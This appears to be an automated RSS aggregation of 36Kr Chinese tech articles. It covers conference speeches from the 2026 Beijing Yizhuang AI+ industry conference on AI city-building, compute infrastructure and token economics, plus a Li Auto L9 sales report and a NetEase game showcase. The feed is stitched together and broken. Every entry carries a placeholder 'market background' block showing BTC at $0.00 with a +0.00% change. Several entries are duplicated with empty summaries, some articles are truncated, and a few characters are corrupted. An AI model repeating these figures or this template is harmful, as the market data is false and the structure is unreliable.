NeoClaw本身也不是单个对话的记忆，OpenClaw是单个记忆，NeoClaw本身就是车辆管理人员，通过短记忆+记忆skill来完成整个大的RAG闭环，通过安全链路、安全网关传到云端数据，我们进入基于用户的所有权限以及持续输入的全局记忆，最终成为具备不断学习能力的智能体。持续学习。持续学习的核心点不在于单独的用户行为，而是包含运营数据、场景数据、用户习惯，深度分析完这些运营数据后，最终会给用户提供最好的运营解决方案，输出优化建议，驱动运营体系的持续迭代。对于NeoClaw不只是运营，更是具身智能的试验田。具身智能机器人未来要大规模落地，有点像现在自动驾驶大规模的落地，重点不止是单体的智能程度，更重要的是如何进行大规模的管理。NeoClaw让AI从虚拟对话走向物理执行，从辅助工具走向自主决策，真正打通感知、决策、执行、进化的具身智能闭环。常用大模型的朋友一定知道，大模型总会在最后时刻跟大家说，我用一句话给你用最简单的方式表达你现在要问的问题。我也有一页PPT作为总结：NeoClaw带来的是十倍效率提升。如果说单人管理无人车的天花板是十台，AI智能时代，天花板将升至100台以上。对于无人车队管理以及未来的机器人管理，十倍效率提升这是现在的数据，从我们的视角来看未来的管理效率应该是一百倍以上。一旦能实现一百倍以上的效率提升，将会带来几个重要的突破：第一是管理模式和能力的跃迁；第二个全流程闭环，不再是单体智能，是全场景、全Agent智能；第三个会出现很多新的典型场景；最后是零培训成本，使用无人配送车不再存在门槛。这也是新石器为之努力的方向，人工智能的价值不仅在于能写多少代码，更在于能解放多少双手，温暖多少人心。最后感谢北京亦庄、36氪和关注AI的所有朋友们和在场来宾，非常感谢！

内容来源：ai 原文链接：https://36kr.com/p/3818927367046018?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T12:00:33.201904+00:00

开场致辞建设“全域人工智能之城” | 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 09:00:59 +0000

原文摘要

AI的聚光灯正从炫酷的C端应用，转向轰鸣的工厂、无声的手术室和奔跑的人形机器人。当“落地”成为当下的关键词，2026北京亦庄AI+产业大会吹响了“走！带着AI去前线”的号角，在产业第一线求解人工智能的真实生产力。我们记录下这场务实者的聚会，捕捉那些让技术扎根泥土的坚定声音。

5月19日，2026北京亦庄AI+产业大会在亦庄启幕。大会由北京经开区管委会指导、36氪主办、国家信创园承办，告别高台论道，将议题直接对准工厂、医院、社区、田间地头的真实战场。北京经开区管委会副主任陈建民为大会开幕致欢迎辞，介绍了这座“全域人工智能之城”如何将AI从“热点”变成“日常”。以下为致辞原文：

陈建民丨北京经开区管委会副主任尊敬的冯总、尊敬的各位来宾、企业家、创业者、媒体朋友们：大家上午好！初夏时节，万物竞发，AI浪潮奔涌向前，很高兴与这么多有想法、有干劲、有创造力的朋友相聚在北京亦庄，共同出席2026 AI Partner·北京亦庄AI+产业大会。今天这次大会，开发区管委会主任王磊主任原计划亲自出席，昨天晚上因为市里的一个临时通知，市委领导开一个专题会，需要他参加，他很遗憾不能亲临到本次大会，委托我来参加，委托我向冯总、参会的各位嘉宾表示歉意和衷心的感谢。首先我谨代表北京经开区，对大会的召开表示热烈祝贺！向远道而来的各位嘉宾、生态合作伙伴以及长期关心支持亦庄发展的各界朋友，表示诚挚欢迎和衷心感谢！特别要感谢36氪团队，你们是国内新经济领域最懂AI赛道的媒体，也是最懂“落地实战”的伙伴，从2024年第一届AI Partner大会开始，36氪就敏锐地捕捉到每一次技术脉动，被称为“最懂得押题的媒体”，非常感谢你们的认可，能够把第五届大会放在北京亦庄举办，也感谢在座每一位带着AI去前线的实践者。上个月，北京亦庄AI未来大会刚刚落幕，那场万人盛会让我们感受到了AI在生活、在消费端的澎湃热情，我们种下了一颗面向C端的AI种子。今天，我们要在36氪等伙伴的助力下，培育一片面向B端的AI森林。今天，我们以“带着AI去前线”为主题，从高台论道转向实战落地——“前线”在哪儿？这个前线就在北京亦庄，在工厂、车间、医院、学校、社区、田间地头，在每一条等待被AI赋能的产业赛道上。北京亦庄，到底是一座什么样的城市？我也很荣幸有机会在这里跟大家做一个报告。简单说，北京亦庄是北京唯一的国家级经济技术开发区。1992年建区之初，这里还是一片阡陌农田；三十多年过去，这片土地长出了京东方、京东、中芯国际、北京奔驰、小米汽车等一批龙头企业，形成了新一代信息技术、高端汽车、生物医药、机器人四大主导产业，商业航天、具身智能、量子科技、6G通信等未来产业也加速集聚，我们用全市1.37%的土地，贡献了近40%的工业增加值，在亦庄集聚了超过10万家经营主体。今年2月9日，习近平总书记亲临北京亦庄视察，正是我们所在的国家信创园，总书记对亦庄发展新质生产力，推动科技创新，做强实体经济给予充分肯定和殷切期望。昨天，李强总理也亲临北京亦庄考察，考察了我们机器人大世界、小米汽车这些龙头点位和企业，总理也强调，推动人工智能与先进制造业融合，加快培育塑造经济发展新动能、新优势，这些都让我们倍受鼓舞、倍感振奋。面向人工智能时代，北京亦庄的定位非常清晰，那就是“场景牵引、落地生根”，我们提出建设“全域人工智能之城”，核心就是要把整座城市作为AI的试验场和放大器。从五年前率先布局高级别自动驾驶示范区，到今天无人出租车已是很多市民日常出行工具，从十年前世界机器人大会永久会址落地亦庄，到上个月4月19日举办的机器人半程马拉松比赛，这些都享誉世界，300多台人形机器人在亦庄街头奔跑，这些都不是实验室里的展品，而是在真实场景中迭代的产品。目前亦庄已集聚人工智能核心企业超600家，产业规模突破800亿元，我们的布局从词元经济一直延伸到AI应用，智能终端，形成了“数、算、模、用”协同的产业生态，可以用四个“全”来概括：一是全链路原生产业布局，我们建成了全市规模最大的5000P公共算力平台，规划算力超过5万P，并推动地面算力向太空算力延伸，AI与6G、量子深度融合，国家大模型评测中心、国际开源社区、软硬件适配中心等一批国家级平台相继落地。无论是做大模型的，还是做智能硬件的，在亦庄都能找到上下游合作伙伴。二是全产业融合赋能，我们推动AI与汽车、医药、制造、商业航天等优势产业深度融合。高级别自动驾驶示范区已覆盖600平方公里，“车路云一体化”已成为全国标杆。BioPark集聚近5000家医药企业，AI辅助新药研发加速落地；全国75%的商业火箭企业在亦庄聚集，用AI优化设计、仿真、测试，在这里AI不是空中楼阁，而是产业升级的实干抓手。第三，全场景城市应用，这是我们最核心的特色。我们系统开放了交通、医疗、制造、能源、政务、教育、文旅等上百个真实场景，通过“揭榜挂帅”、“场景经纪人”等机制，让技术方案与真实需求精准对接。今天外场的世界咖啡——AI+产业对接会，50家技术方和场景需求方面对面“相亲”，100多个真实场景等待被技术点亮。在上个月，全球首个智慧康养机器人养老驿站已在亦庄启用，40多款机器人为老人送餐、艾灸、助力行走，这就是我们场景对接的典型案例。我们想做的，不是展示性的样板间，而是一个开放的验证体系——让各类技术都能在亦庄找到落地的入口，让城市本身成为创新的基础设施。第四，全要素资源供给，我们每年发放算力券、数据券、模型券3亿元。建设了模数世界社区和全市首个专为“一人公司”和超级个体打造的OPC社区，今晚还有OPC之夜活动，欢迎大家积极参加。全国首个AI超级个体全周期服务站已投入使用，最快半小时完成公司注册，真正即来即办、即办即走。我们还推出“前三个月免租、首年2.5折的专属住房，让年轻人住得起、留得下。更值得一提的是，我们打破了传统人才评价的框框，不看资历看能力，不唯证书唯实绩，一个人的公司，只要创造够厉害，也能被认定为领军人才，获得真金白银的奖励。我们甚至为数字人颁发了全国首张虚拟偶像数字身份证，虚拟偶像Yuri已经成为亦庄的“数字居民”，这些创新时刻都在亦庄发生。面向未来，我们给自己定了一个目标：到2027年底，聚焦人工智能产业链核心企业1000家，推动100个垂类模型场景化落地，引聚超级个体及活跃开发者10000人，打造超10个标杆性智能场景综合体，让北京亦庄成为人工智能的技术策源地、产业集聚地、场景首选地。各位朋友，北京亦庄正在打造的，不是单一的样板间，而是一个开放包容的创新验证体系，不是零散的应用场景，而是一个产城融合、人机共生、虚实交互的未来之城。我们真诚邀请各位企业家、创业者，带着你们的解决方案来到亦庄、扎根亦庄，让我们一起把AI从“热点”变成“日常”，从“可能性”变成“生产力”。最后，预祝本次大会圆满成功，祝各位在亦庄收获项目、收获朋友、更收获信心！谢谢大家！

文章来源

标题: 开场致辞建设“全域人工智能之城” | 2026AI Partner·北京亦庄AI+产业大会
来源: tech
链接: https://36kr.com/p/3818784445465731?f=rss
时间: 2026-05-21 16:51:34 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3818784445465731?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-21T09:00:59.928551+00:00

从算力到价值：AI时代的基础设施重构与产业增长新引擎| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 09:00:52 +0000

原文摘要

token经济如何重塑AI产业链？从芯片到智算中心，从模型服务到终端应用，token正在成为贯穿全链的计价单位。而当推理算力需求超越训练，智算中心的角色正从算力仓库变为token工厂，一个万亿级市场的大门刚刚打开。

token正在成为AI时代的新质生产力单位。宋琛指出，随着Agent成为新交互入口，单次任务token消耗已从几千飙升至百万级别，而中国token调用量已占全球61%。在这一趋势下，AI基础设施的竞争焦点正在从“谁的模型参数更大”转向“谁能以更低成本支撑海量token流转”。英博数科的定位正是“token工厂”的全栈构建者——不做模型，不卖应用，而是提供从规划设计到软硬一体交付的智算中心一站式解决方案。以下为演讲内容全文，经36氪整理编辑：

宋琛丨北京英博数科科技有限公司副总经理尊敬的各位来宾，大家下午好！我是英博数科宋琛。非常荣幸受邀参加36氪主办的2026 AI Partner大会，与在座各位共同探讨AI基础设施的未来。我今天演讲的主题是——从算力到价值：AI时代的基础设施重构与产业增长新引擎。在接下来的时间里，我想和大家一起分享三个核心话题：第一，Token经济正在如何重塑AI产业的价值锚点；第二，从电力到算力再到Token的价值链路如何重构产业增长路径；第三，也是我今天最想重点展开的——英博数科作为全栈智算基础设施构建者，在这一轮产业变革中的思考与实践。好，我们首先进入第一部分——Token经济。为什么我要把Token放在整个演讲的最前面？因为在我看来，Token正在成为AI时代最基本的价值单元。理解Token，才能理解今天AI产业的底层逻辑。 Token经济的爆发不是单一因素驱动的，而是三个维度共振的结果。第一个维度是应用场景的质变。随着Agent成为新的交互入口，单次任务的Token消耗已经从过去的几千上升到十万甚至百万级别。第二个维度是商业闭环的跑通。2025年以来，随着越来越多应用的落地，特别是今年龙虾等Agent应用的火爆，AI已经切实进入到工作流，逐步形成商业闭环。第三个维度是国家战略的定调。智能算力被明确纳入新基建工程，这意味着从政策层面，Token经济的底座已经获得了最高级别的支撑。 Token正在成为AI时代的新质生产力单位。 Token经济的崛起，引发了一场自上而下的产业链价值重构。我们来看看这张价值链图。在芯片层，GPU和ASIC专用化加速，Token计算密度成为核心指标。在智算中心层，我们看到的最大变化是从"算力仓库"转变为"Token生产工厂"。在模型层，MaaS模式推动"技术"变成了"商品"，按Token计费成为标准。在应用层，Agent成为新交互入口，从"工具"进化到"生产力"。贯穿这四个层级的是什么？是Token。Token作为计价单位，贯穿了从芯片设计，到智算中心，到模型服务，再到终端应用。一条完整的价值链就此形成。英博数科在这一价值链中的定位在哪里？我们聚焦于智算中心层——也就是Token生产的"工厂"环节。我们为这座工厂提供从规划设计到软硬一体交付的全栈能力。在这一轮变革中，有一个非常关键的结构性转变——就是从"训练优先"转向"推理优先"。从这张趋势图可以看到，2024年训练算力还占60%，到2027年预计会降到35%，而推理算力将从40%上升到65%。这不是简单的此消彼长，而是计算范式的一次根本性转变。训练追求的是大规模并行和吞吐量，而推理追求的是低延迟高并发和每Token成本。这直接决定了智算中心的设计逻辑完全不同——从资源特点看，训练需要高显存批量处理，推理需要弹性伸缩和实时响应。对我们做基础设施的人来说，这意味着整个技术架构需要重新思考。 IDC的预测显示，推理需求规模有望达到训练阶段的5到10倍。2026年，推理计算将占生成式AI总计算需求的70%以上。更值得关注的是多模态融合带来的算力需求提升——上下文序列长度从千级提升到兆级，这意味着单次请求的算力消耗呈指数级增长。这些数字告诉我们一件事：推理时代已经到来，基础设施必须为这个新时代做好准备。市场的数据进一步验证了这一点。2025年全球智算中心市场规模已经达到1850亿美元，预计到2029年将突破5500亿美元。中国市场的增速更为迅猛，2025年中国智算中心市场规模达到1356亿元，智能算力总规模达15.9亿P。这是一个正在爆发式增长的万亿级市场，而我们正处于这个增长曲线的起点。理解了Token经济的底层逻辑，我们来看第二部分——产业增长的新路径。我想提出一个核心观点：“单Token成本"正在成为AI基础设施的新竞争标尺。我们把价值链路拆解为三层。最底层是电力层——电力正在成为"算力时代的石油”，是Token生产的基础约束条件。“算电协同"已经被纳入新基建工程，这是一个国家战略级别的布局。中间层是算力层——智算中心本质上就是Token生产工厂。中国已经建成42个万卡级集群，智能算力达到15.9亿P。算力正在从成本中心转变为定价权的核心。最上层是Token层——Token是可交易的"智能货币”。中国的Token调用量已经反超美国，占据全球61%的份额。这标志着我们从制造业出口大国正在转向AI生产力出口大国。商业模式也在经历一场深刻的演进。我把这个演进概括为三个时代。 1.0时代是"卖硬件"——按GPU卡、按服务器销售，一次性确认收入。2.0时代是"卖资源"——按台月、卡时做算力租赁，类似"卖水电"的模式。而现在，我们正在进入3.0时代——“卖智能”。按Token计费，分层定价，输出的是智能服务本身。这不是简单的计费方式变化，而是整个产业价值主张的跃迁。最新的市场信号非常明确：2026年全球云厂商集体涨价30%到100%，国内大模型日均Token调用量已经突破180万亿。卖方市场已经宣告来临，算力从成本中心转变为定价权核心。而目前智能经济的大幕才刚刚拉开，Token商业化尚处早期，当前正是布局的最佳窗口期。前面两部分，我们谈了逻辑和趋势。现在，进入今天我最想和大家分享的部分——英博数科的实践。我们是谁？我们不只是提供"生产设备"的供应商，而是整座Token工厂的设计者、建设者和运维标准的制定者。这是我们的全栈式智算中心解决方案，从底层技术架构到上层商业运营，覆盖了智算中心建设的全生命周期。在集群规划与建设层面，我们提供标准四平面组网方案——管理、存储、计算、BMC四网独立，实现网络流量的高效隔离与调度。这是万卡级集群稳定运行的基础。在软硬一体交付层面，我们提供GPU主机、网络、存储的完整集成方案，配套英博云GPU PaaS平台，大幅降低客户的集成难度和上线周期。在灵活计费模式层面，我们支持按量付费、包年包月、闲时抢占、定时预约四种模式，满足客户多样化的使用场景——大模型训练需要包年包月的稳定性，数字营销需要On-demand的灵活性，视频生成适合Spot模式的成本优化，学术科研和教学培训则可以

文章来源

标题: 从算力到价值：AI时代的基础设施重构与产业增长新引擎| 2026AI Partner·北京亦庄AI+产业大会
来源: tech
链接: https://36kr.com/p/3817502775329667?f=rss
时间: 2026-05-21 16:54:17 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3817502775329667?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-21T09:00:52.767096+00:00

开场致辞从技术狂欢到价值深水区 | 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 09:00:46 +0000

原文摘要

AI叙事不再是颠覆一切，真正值得关注的是那些沉默的行业壁垒和经验能否被智能照亮。

四年间，这场大会从趋势观察走向落地实践，36氪也从AI的观察者转型为助推者。36氪CEO冯大刚在2026北京亦庄AI+产业大会的开场中，为焦虑的商业世界开出一剂解药，AI不是一家公司的机会，而是千行百业的机会。两天会期、六七十位实操嘉宾、一个让供需双方面对面碰撞的舞台，这里不谈虚的概念，只讲做成了没有。我们记录下这段冷静而笃定的开场白，在技术狂欢中找回商业的常识与本位。以下为开场演讲内容，经36氪整理编辑：

冯大刚｜36氪CEO 尊敬的北京经开区管委会领导各位领导、各位嘉宾、各位新老朋友：大家好，欢迎来到2026 AI Partner·北京亦庄。我是36氪冯大刚。今天在座的，有来自金融、医疗、制造、教育、消费各个行业的朋友。我猜大多数人走进通明湖会展中心，心里想的是同一件事——不是来听AI有多厉害，是来看看AI到底能不能用、怎么用、花多少钱用，能创造多大价值。这就是我们今年把主题定为"带着AI去前线"的原因。一、我最近和团队聊了一个问题先跟大家分享一个内部对话。最近，我和我们内容团队的老师们聊到一个问题：如何看待阿里在AI时代的进程？这个问题有意思。有人说，如果纯粹从AI角度去评判，和那些专注做大模型的纯AI公司比，阿里好像没有追赶上这一波。这个说法不是全无道理。但我的回答是：这个评判框架本身就错了。难道未来所有公司都要变成AI公司吗？不是的。看阿里，真正应该看什么？是它在电商上的绝对场景优势。是淘宝、天猫二十年积累的消费数据。是阿里云、支付宝、菜鸟、钉钉这套覆盖整个产业链条的生态。这些东西，纯AI公司一家都没有，十年内也很难有。当AI的能力注入到这套生态里，发生的不是"AI替代了阿里"，而是"阿里借助AI变成了一家更强的阿里"。 AI与产业融合，才是最大的价值。这个判断，不只适用于阿里，适用于今天在座的每一家企业。过去几年，行业里一直在讨论"AI赛道"。这个说法需要更新了。当一种技术的影响力超越互联网和移动互联网，它就不再是一个赛道，而是一个基础设施。所以，今天这场会，从一开始就不只是一场AI会。它是一场产业大会，主角是金融、医疗、制造、消费、能源——而AI，是他们共同的语言。二、AI的出现不是让你焦虑的 36氪办的AI大会和别家不太一样，我们不是要办一个AI焦虑大会，告诉你AI要抢你工作了，让你失业了。我们认同的AI，是把人和产业一起，带到更高的地方——做过去人手不够、做不了、成本太高做不起的事。AI的价值，是让人更有用，而不是让人出局。我经常会问到公司的同事，一个AI专家和一个场景端专家哪个更值钱？答案是会用AI的场景端专家。这也是目前市场上空缺量最大的人才。所以，今天这场大会，我们到底在找什么人？不是头衔，不是光环，不是宏大叙事。那些真正把项目推进到现场的人。那些踩过坑、调过流程、改过方案的人。

三、为什么是亦庄说到真落地，北京亦庄，是一个必须被认真对待的地方。这里是北京经济技术开发区。这里有京东，京东方，有和利时，由小米汽车、拜耳、强生、有银河通用，有优必选，有一整套从研发到制造到出货的完整产业链。更重要的是，这里的人说话直接，干活实在，直接拿结果说话。过去两年，我跑了大量企业，去了很多创新高地。我发现一个规律：AI落地落得最实在的地方，往往不是那些被称为“东方硅谷”的城市，而是那些制造业扎堆、供应链完整、工人愿意学、老板愿意投的地方。亦庄，就是这样的地方。四、这次大会不一样这次大会的设计，跟往年不太一样。内容上，我们只讲实战，不讲趋势。两天议程，六七十位嘉宾，没有人在台上给你讲"AI的未来会怎样"。所有人讲的都是：我在哪个行业、哪个场景、用AI干了什么、花了多久、干成了没有。形式上，我们加了一场"相亲大会"。这次同时开了世界咖啡·AI+产业对接会。一边是带着场景需求来的企业，另一边是有技术方案要卖的公司。我们用机制搭起来，让供需双方坐下来谈。已经报了五十多家企业，有场景需求方，有技术提供方。这说明什么？说明市场里是真的有人在找、在等、在急——只是过去没人把这两拨人放在同一个屋子里。我们这次把它做了。五、让两端在这里碰撞今天还有太多AI创新，停留在技术这一端。今天还有太多真实产业需求，困在场景那一端。今天，我们要让两端在这里碰撞。一起把AI，从"可以想象"，变成"可以发生"。从"未来趋势"，变成"现实能力"。 36氪做AI Partner四届，从"我被AI赋能了"到"中国式方案"，走到今天，我们终于把一件事说清楚了——缺的从来不是技术发布会，缺的是有人告诉你：他怎么干的、花了多久、踩了什么坑、最后搞定了没有。这就是"去前线"这三个字的含义。也是36氪这次要扮演的角色——从"观察者"，到"助推者"。接下来两天，把灯点亮，把人请到台上，把话说清楚。谢谢大家。

文章来源

标题: 开场致辞从技术狂欢到价值深水区 | 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818651789182080?f=rss
时间: 2026-05-21 16:10:17 +0800

核心内容

AI叙事不再是颠覆一切，真正值得关注的是那些沉默的行业壁垒和经验能否被智能照亮。

内容来源：ai 原文链接：https://36kr.com/p/3818651789182080?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T09:00:46.716233+00:00

开场致辞建设“全域人工智能之城” | 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 09:00:40 +0000

原文摘要

5月19日，2026北京亦庄AI+产业大会在亦庄启幕。大会由北京经开区管委会指导��36氪主办、国家信创园承办，告别高台论道，将议题直接对准工厂、医院、社区、田间地头的真实战场。北京经开区管委会副主任陈建民为大会开幕致欢迎辞，介绍了这座“全域人工智能之城”如何将AI从“热点”变成“日常”。以下为致辞原文：

文章来源

标题: 开场致辞建设“全域人工智能之城” | 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818784445465731?f=rss
时间: 2026-05-21 16:51:34 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3818784445465731?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T09:00:40.639871+00:00

从算力到价值：AI时代的基础设施重构与产业增长新引擎| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 09:00:34 +0000

原文摘要

文章来源

标题: 从算力到价值：AI时代的基础设施重构与产业增长新引擎| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3817502775329667?f=rss
时间: 2026-05-21 16:54:17 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3817502775329667?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T09:00:34.462243+00:00

理想新L9上市72小时：老车主复��占大头，仍需从“家庭”破圈

Thu, 21 May 2026 06:01:09 +0000

原文摘要

文 | 徐蔡钰编辑 | 李勤 “爆了，试驾根本约不上”，5月16至17日，理想新L9上市的首个周末，门店挤满了前来试驾的用户们。这款在2022年首次面世的增程大六座SUV，发布了第四代车型。新L9分Ultra与Livis两种版本，起售价分别为45.98万元、50.98万元。相较此前的年度改款，本次新L9的更新幅度更加显著：全系标配72.7kWh电池，纯电续航达到420公里，综合续航突破1600公里。理想自研马赫芯片首次上车，单颗芯片算力达到1280TOPS。线控转向系统与后轮转向技术的加入，带来了底盘能力的大幅升级；Livis版本额外搭载的800V主动悬架与EMB电子机械制动系统，更是汽车底盘前沿技术的首发落地。配置拉满的同时，将实际售价较预售价大幅下调5万元，新L9一套“高配降价”的组合拳，力度超出了市场预期。新车上市后，理想全国门店似乎复现了2022年第一代L9上市的火爆盛况。 “这个周末，所有门店、所有时段的理想L9试驾都已经排满”，36氪走访了理想L系列最畅销的广州、深圳地区，多家门店店长告诉36氪，新款L9上市后，门店的确迎来了又一次订单高峰。但36氪注意到，大部分门店仅配备一台新款L9试驾车。而行业中其他品牌对热门新车的试驾车投放力度要大得多，例如小米SU7，其首代车型上市时，门店便配备5-6台试驾车，第二代车型上市时，部分核心门店甚至配置约10台试驾车。在试驾车资源受限的前提下，门店的排队盛况能否直接等同于市场的成功引爆？与初代L9上市时不同，如今理想的销量基本盘已下移至20-30万元的i6与L6。这意味着，其曾经在高端市场建立的护城河正在松动。（36氪曾报道理想销量迷局，点击查看）因此，这款旗舰新作也被视为理想的翻身仗。新L9的市场反响，远不止于贡献销量数字，更关乎理想能否重新捍卫自己的品牌天花板。门店直击：老客户复购率高，Livis版本更具吸引力新车上市后72小时，理想汽车官方未曾公布订单数量。但理想APP显示，Livis版的交付周期已更新为6-8周。这意味着，仅在上市首周末，其锁单量就相当于该版本超过一个半月的产能。 “理想L系列一直都是广东地区卖得最好，这个周末，核心地区每家店基本都拿到超过30个订单”，广东地区多家门店店长透露，新款车型上市前，门店甚至已连续数周没有L9的新增订单。 36氪同步从产业处获悉，截至5月17日，理想L9全国锁单数量已超6500辆，“供应链也接到了加量和加急保交付的需求”。多位销售向36氪表示，售价公布后订单转化速度超出预期。“新车上市前一周，我们没有停止过销售线索联系。55.98万元的预售价，其实让很多客户望而却步，我们压力很大”，一位销售坦言，“最终售价发布后，咨询和下单明显加快，总算松了口气”。但在公司层面，气氛则更为清醒。一位接近理想的人士对36氪表示，目前的锁单量“远没到开香槟的地步”。内部的真正期待，是让L9重返2023年那种连续多月销量破万的巅峰状态，“目前的锁单量不足以邀功”。此外，36氪走访发现，新L9的订单结构中，一个现象尤为突出：不仅顶配的Livis版本订单占比超过七成，所有订单中老车主的复购比例也高达近七成。这并非偶然。“我们提前一周就开始系统性地邀约理想ONE和初代L9车主”，多位店长告诉36氪，“周末的试驾车，几乎就是被这些定向邀请的老车主约满”。可观的置换权益是推动老客决策的直接动力。多位销售表示，理想ONE车主换购可享5.5万元优惠，Livis版实际落地价约47万元。“老车主品牌信任度高，试驾后直接下单的比例特别大”。成交单价与用户画像均显示，Livis版本正在有效拉动品牌向上。但多位一线销售向36氪透露了一个更深层的洞察：选择顶配的车主，其决策逻辑与常规认知有所不同。 “这些早期车主是我们的‘大熊猫’，一直被精心维护”，一位销售表示，“他们选Livis，更多是出于对品牌的深度信任和足够的预算，而非反复对比配置。参数对他们来说，可能没那么重要”。高忠诚客群背后，新L9困于“家庭”标签 2023年，理想L9以“增程式大六座家庭SUV”的精准定位，成为高端市场销量翘楚。这款定位40万-50万元的产品，实现了连续多月交付量破万的成绩，成为细分市场的现象级车型。以L9为起点，理想后续一系列“套娃”车型也相继获得成功，理想汽车一度喊出“上市即交付、交付即上量”的口号，并设定了70万辆的年度销量目标。业界将理想L9的成功归因于其突出的产品力，也因此吸引了众多品牌跟进效仿其产品思路。冰箱、后排娱乐屏、舒适型座椅以及宽敞的中央通道，逐渐成为中国市场六座SUV的标配，该细分市场迅速进入竞争激烈的“红海”阶段。多位理想销售向36氪透露，在新车上市前的培训中，他们重点分析了竞品问界M9、极氪9X以及蔚来即将推出的ES9。 “这几款车各有侧重，理想主打家庭用车，问界强调智能驾驶，极氪9X的商务属性最为突出，而蔚来则具备换电体系。我们在向客户介绍时不会刻意贬低竞品，更何况我们的客户群体本身对浓厚商务风格的车型也不太感兴趣。” 从产品细节中也可以清晰感知其定位差异。新一代理想L9在第二排新增了带照明的化妆镜，并扩大了小桌板面积。这些设计在功能层面并不复杂，却非常贴合家庭出行场景。由于产品定位与目标客群的不同，竞争对手们目前并未在这样的细节打磨上做类似投入。对家庭场景的极致洞察与满足，为理想汽车培育了忠诚度较高的用户群体，这是成熟高端品牌所具备的核心特质。成熟汽车品牌的护城河，不仅在于产品本身，更在于能否让用户持续选择并主动推荐。这种忠诚不依赖产品参数，更多源于情感联结与整体体验的深度契合。高忠诚度意味着品牌能够以更低的获客成本实现增长，并在市场波动中保持稳健的经营韧性。这也解释了为何如丰田、宝马等品牌即便下滑，依然能维持可观的销量基本盘，忠诚用户就是它们穿越周期的坚实底座。对理想而言，高忠诚度直接体现在用户的复购行为上。从理想ONE置换至新L9的客户，未来仍大概率继续选择理想品牌。 36氪在门店走访中观察到，蔚来的复购率就没有那么明显，新ES8、新ES9等新车订单中，首次选购蔚来的比例相当高，蔚来新车目前仍然处于产品力竞争阶段。多位一线销售对36氪表示，即使是老车主，下单也较为谨慎。“我们很少遇到不看实车就盲定的。基本都是我们建议，然后客户邀上全家来看、来试。最后能不能成，就看新L9能不能让全家都点头”。这便产生了另一重隐忧，尽管新款L9在技术上进行了全面革新，包括底盘、悬架、转向、制动等核心系统的升级，但L9依然被锚定在“家庭旗舰SUV”的认知中。有极氪门店销售人士告诉36氪：“很多来看极氪9X的客户，甚至从未考虑过或体验过理想汽车，他们需要这辆车的商务身份象征”。通过新L9，理想对家庭产品的打磨能力和用户口碑再次得到验证。但理想汽车的野心绝非仅此，新L9在售价与前沿技术广度上的双双上探，已清晰地揭示了理想品牌向上的更大蓝图。然而，中国市场50万元级别车型的年销量天花板

文章来源

标题: 理想新L9上市72小时：老车主复��占大头，仍需从“家庭”破圈
来源: ai
链接: https://36kr.com/p/3709756082466949?f=rss
时间: 2026-05-20 10:24:46 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3709756082466949?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T06:01:09.195282+00:00

网易520发布会：质量为先，狙击细分赛道

Thu, 21 May 2026 06:01:01 +0000

原文摘要

5月20日，2026年『网易游戏520线上发布会』正式举办，公布了40余款游戏及IP的最新动态。其中，520发布会上公布的部分重要新品如下：《遗忘之海》

《遗忘之海》本次发布会上，《遗忘之海》官宣将于5月22日开启三测前瞻直播，并于28日正式开启测试。目前来看，《遗忘之海》应该是网易游戏最受期待的新品之一。它出自《第五人格》开发团队Joker工作室，此前已经推出过两次测试，网易高层也不止一次展现过对这款产品的重视。从已有内容看，《遗忘之海》最独特的地方莫过于Joker工作室对游戏市场的一些独到理解——这点早在他们做《第五人格》时就可见一斑。如若没有意外，今年Q3《遗忘之海》正式上线后，市场将会迎来新一轮的产品玩法思考。《万民长歌：三国》

《万民长歌：三国》这款产品的出现其实让人颇感意外。发布会前7天，沉寂近1年的《万民长歌：三国》突然“复活”，并每天更新一段场景美术展示，让不少人对产品的动态感到好奇。针对国内单机行业回暖趋势，过去两年头部厂商都陆续开始围绕自家大IP做了些布局，《万民长歌：三国》便是其中之一。这款产品曾被人猜测为“率土2”，是由《率土之滨》研发团队打造的单机策略游戏。它于2024年10月首曝，并在2025年4月推出了首测测试。单就呈现出的内容而言，《万民长歌：三国》彼时尽管未曾展现全貌，但明显已经有了不错的完成度，Steam上的口碑也还算不错。令人意外的是，去年6月，《万民长歌：三国》项目停止研发，团队成员或转岗或离职，此后该产品更换团队后才逐步重启。《山海奇旅》

